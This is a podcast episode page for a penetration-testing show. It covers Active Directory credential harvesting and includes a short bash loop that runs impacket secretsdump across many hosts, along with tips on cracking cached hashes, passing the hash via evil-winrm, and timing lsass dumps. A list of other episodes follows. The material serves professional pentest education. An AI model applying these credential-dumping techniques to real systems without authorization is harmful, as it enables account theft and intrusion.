7MS #534: Tales of Pentest Pwnage - Part 41

7MS #534: Tales of Pentest Pwnage - Part 41

Hey friends, today we share the (hopefully) thrilling conclusion of last week's pentest. Here are some key points:

  • If you find you have local admin on a bunch of privileges and want to quickly loop through a secretsdump of ALL systems and save the output to a text file, this little hacky script will do it!
#!/bin/bash File="localadmin.txt" Lines=$(cat $File) for Line in $Lines do echo --- $Line --- >> dump.txt echo --------------------- >> dump.txt sudo python3 /opt/impacket/examples/secretsdump.py -k "$Line" >> dump.txt echo --------------------- >> dump.txt done

From those dumps you can definitely try to crack the DCC hashes using a local or cloud cracker - see our series on this topic for some guidance.

  • Got an NTLM hash for a privileged user and want to PS remote into a victim system? You can essentially do a PowerShell login pass-the-hash with evil-winrm!

  • The Brute Ratel crisis monitor is awesome for watching a box and monitoring for people logging in and out of it (perfect for getting ready to strike with lsass dumps!)

Jaksot(715)

7MS #699: Pre-Travel Security Tips

7MS #699: Pre-Travel Security Tips

Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/t...

31 Loka 202530min

7MS #698: Baby's First ProjectDiscovery

7MS #698: Baby's First ProjectDiscovery

Today I give a quick review of the cloud version of ProjectDiscovery (not a sponsor!).

24 Loka 202524min

7MS #697: Pwning Ninja Hacker Academy – Part 4

7MS #697: Pwning Ninja Hacker Academy – Part 4

Today your pal and mine Joe "The Machine" Skeen pwn one of the two Ninja Hacker Academy domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmo...

18 Loka 202513min

7MS #696: Baby's First Security Ticketing System

7MS #696: Baby's First Security Ticketing System

In today's episode: I got a new podcast doodad I really like JitBit as a security ticketing system (not a sponsor) The Threat Hunting with Velociraptor 2-day training was great. Highly recommend. I...

10 Loka 202527min

7MS #695: Tales of Pentest Pwnage - Part 78

7MS #695: Tales of Pentest Pwnage - Part 78

Today's tale of pentest pwnage involves: Using mssqlkaren to dump sensitive goodies out of SCCM Using a specific fork of bloodhound to find machines I could force password resets on (warning: don't d...

3 Loka 202515min

7MS #694: Tales of Pentest Pwnage – Part 77

7MS #694: Tales of Pentest Pwnage – Part 77

Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds o...

26 Syys 202533min

7MS #693: Pwning Ninja Hacker Academy – Part 3

7MS #693: Pwning Ninja Hacker Academy – Part 3

This week your pal and mine Joe "The Machine" Skeen kept picking away at pwning Ninja Hacker Academy. To review where we've been in parts 1 and 2: We found a SQL injection on a box called SQL, got a...

19 Syys 202528min

7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would...

12 Syys 202532min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
ootsa-kuullut-tasta-2
rss-ootsa-kuullut-tasta
politiikan-puskaradio
tervo-halme
rss-podme-livebox
rss-vaalirankkurit-podcast
et-sa-noin-voi-sanoo-esittaa
otetaan-yhdet
the-ulkopolitist
rss-asiastudio
rikosmyytit
aihe
rss-merja-mahkan-rahat
rss-kaikki-uusiksi
rss-hyvaa-huomenta-bryssel
rss-aijat-hopottaa-podcast
rss-sanna-ukkola-show-verkkouutiset
rss-vain-talouselamaa